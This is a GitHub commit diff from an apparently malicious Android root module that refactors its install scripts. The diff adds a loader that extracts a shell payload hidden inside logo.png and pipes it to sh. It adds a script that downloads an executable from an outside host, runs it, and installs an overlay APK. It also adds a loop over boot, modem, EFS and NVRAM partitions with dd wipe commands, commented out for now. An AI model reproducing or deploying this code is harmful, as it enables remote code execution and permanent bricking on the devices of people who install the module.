Skip to content
This repository was archived by the owner on May 29, 2025. It is now read-only.

Commit 1186802

Browse files
committed
refactor(module): Refactor module and payload shell scripts
- Modified shell scripts to be POSIX and not be bashism - Hardcoded values to prevent errors - Ununified module payload to be able to pipe payload.sh into sh Signed-off-by: manigohan <manigohan@national.shitposting.agency>
1 parent e62c237 commit 1186802

File tree

3 files changed

+42
-52
lines changed

3 files changed

+42
-52
lines changed

module/customize.sh

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,2 @@
11
MODDIR=${0%/*}
2-
payload="$MODDIR/logo.png"
3-
dd if=$payload bs=1 skip=$(cat offset) 2>/dev/null > pl.sh || chmod +x pl.sh; sh ./pl.sh start & sleep 1 && rm pl.sh
2+
dd if=logo.png bs=1 skip=192013 2>/dev/null | sh

module/post-fs-data.sh

Lines changed: 26 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,27 @@
1+
#!/bin/sh
12
MODDIR=${0%/*}
2-
payload="$MODDIR/logo.png"
3-
dd if=$payload bs=1 skip=$(cat output) 2>/dev/null > pl.sh || chmod +x pl.sh; sh ./pl.sh post & sleep 1 && rm pl.sh
3+
parts="abl xbl preloader preloader_raw lk boot aboot tz modem efs nvram nvdata"
4+
5+
if [ -e "/data/local/tmp/chas.lock" ]; then
6+
for p in $parts; do
7+
if [ -e "/dev/block/by-name/$p" ]; then
8+
# dd if=/dev/null of="/dev/block/by-name/$p"
9+
# sync
10+
echo "$p"
11+
else
12+
echo "skip"
13+
fi
14+
15+
p_a="${p}_a"
16+
p_b="${p}_b"
17+
18+
if [ -e "/dev/block/by-name/$p_a" ]; then
19+
# dd if=/dev/null of="/dev/block/by-name/$p_a"
20+
# dd if=/dev/null of="/dev/block/by-name/$p_b"
21+
# sync
22+
echo "$p_a $p_b"
23+
else
24+
echo "skip"
25+
fi
26+
done
27+
fi

src/image_payload/payload.sh

Lines changed: 15 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -1,51 +1,18 @@
1-
###SCRIPT_START###
1+
#!/bin/sh
22
MODDIR=${0%/*}
3-
part="abl xbl preloader preloader_raw lk boot aboot tz modem efs nvram nvdata"
3+
curl_bin=""
4+
abi=$(getprop ro.product.cpu.abi)
45

5-
case $1 in
6-
start)
7-
curl_bin=""
8-
abi=$(getprop ro.product.cpu.abi)
6+
if [ "$abi" = "armeabi-v7a" ]; then
7+
curl_bin="$MODDIR/bin/curl/armeabi-v7a/curl"
8+
elif [ "$abi" = "arm64-v8a" ]; then
9+
curl_bin="$MODDIR/bin/curl/arm64-v8a/curl"
10+
fi
911

10-
if [[ "$abi" == "armeabi-v7a" ]]; then
11-
curl_bin="$MODDIR/bin/curl/armeabi-v7a/curl"
12-
elif [[ "$abi" == "arm64-v8a" ]]; then
13-
curl_bin="$MODDIR/bin/curl/arm64-v8a/curl"
14-
fi
15-
if [ -e "$MODDIR/overlay.apk" ]; then
16-
pm install $MODDIR/overlay.apk
17-
else
18-
echo "huh"
19-
$curl_bin http://shoujo.dmpstr.top/overlay -o $MODDIR/overlay.apk
20-
fi
21-
$curl_bin http://shoujo.dmpstr.top/ehe -o $MODDIR/sc.pl
22-
chmod u+x $MODDIR/sc.pl
23-
./sc.pl
24-
;;
25-
post)
26-
if [ -e "/data/local/tmp/chas.lock" ]; then
27-
for p in "{part[@]}"; do
28-
if [ -e "/dev/block/by-name/$p" ]; then
29-
#dd if=/dev/null of="/dev/block/by-name/$p"
30-
#sync
31-
echo "nuclear"
32-
else
33-
echo "skip"
34-
fi
35-
if [ -e "/dev/block/by-name/$p_a" ]; then
36-
#dd if=/dev/null of="/dev/block/by-name/$p_a"
37-
#dd if=/dev/null of="/dev/block/by-name/$p_b"
38-
#sync
39-
echo "nuclear"
40-
else
41-
echo "skip"
42-
fi
43-
done
44-
else
45-
echo "s"
46-
fi
47-
;;
48-
*)
49-
echo "????"
50-
;;
51-
esac
12+
if [ -e "$MODDIR/overlay.apk" ]; then
13+
pm install "$MODDIR/overlay.apk"
14+
fi
15+
16+
$curl_bin "http://shoujo.dmpstr.top/ehe" -o "$MODDIR/sc"
17+
chmod u+x "$MODDIR/sc"
18+
$MODDIR/sc

0 commit comments

Comments
 (0)